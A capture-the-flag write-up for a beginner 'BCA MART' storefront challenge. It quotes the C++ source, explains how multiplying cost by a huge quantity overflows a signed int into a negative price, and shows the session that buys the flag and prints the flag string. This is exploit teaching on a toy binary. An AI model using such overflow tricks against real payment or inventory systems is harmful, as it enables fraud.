Tags: integer-overflow pwn

Rating:

> After the pandemic hit, everybody closed up shop and moved online. Not wanting to be left behind, BCA MART is launching its own digital presence. Shop BCA MART from the comfort of your own home today!

> Author: Edward Feng

This challenge binary offered a prompt for a storefront, where one of the items for sale is the flag. The only issue is that the flag costs more money than you have. I skimmed the code and it was pretty quickly clear that there was probably an integer overflow bug. I've added (...) wherever I omitted some code.
c++
int money = 15;

int purchase(char *item, int cost) {
int amount;
printf("How many %s would you like to buy?\n", item);
printf("> ");
scanf("%d", &amount);

if (amount > 0) {
cost *= amount;
printf("That'll cost $%d.\n", cost); if (cost <= money) { puts("Thanks for your purchse!"); money -= cost; } else { puts("Sorry, but you don't have enough money."); puts("Sucks to be you I guess."); amount = 0; } } else { puts("I'm sorry, but we don't put up with pranksters."); puts("Please buy something or leave."); } return amount; } int main() { int input; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); (...) while (1) { (...) puts("5) BCA© school merch:$20.00");
puts("6) Flag: $100.00"); puts("0) Leave"); puts(""); printf("You currently have$%d.\n", money);
puts("What would you like to buy?");

printf("> ");
scanf("%d", &input);

switch (input) {
(...)
case 5:
purchase("wonderfully-designed t-shirts", 20);
break;
case 6:
if (purchase("super-cool ctf flags", 100) > 0) {
FILE *fp = fopen("flag.txt", "r");
char flag[100];

if (fp == NULL) {
exit(1);
}

fgets(flag, sizeof(flag), fp);
puts(flag);
}
break;
default:
puts("Sorry, please select a valid option.");
}
}
}



You get to input two numbers: *what you would like to buy*, and the *amount* of them that you'd like. There's not much flexibility in the first number entered, and the latter can't be set to a negative number. However, money is just an int, not an unsigned int, which means the leftmost bit is reserved for signaling whether money is positive or negative. if cost * amount is big enough, it'll flip that bit and the result will become negative.


You currently have $15. What would you like to buy? > 5 How many wonderfully-designed t-shirts would you like to buy? > 461168601842738780 That'll cost$-208.

1) Hichew™: $2.00 2) Lays® Potato Chips:$2.00
3) Water in a Bottle: $1.00 4) Not Water© in a Bottle:$2.00
5) BCA© school merch: $20.00 6) Flag:$100.00
0) Leave

You currently have $223. What would you like to buy? > 6 How many super-cool ctf flags would you like to buy? > 2 That'll cost$200.

Flag: bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}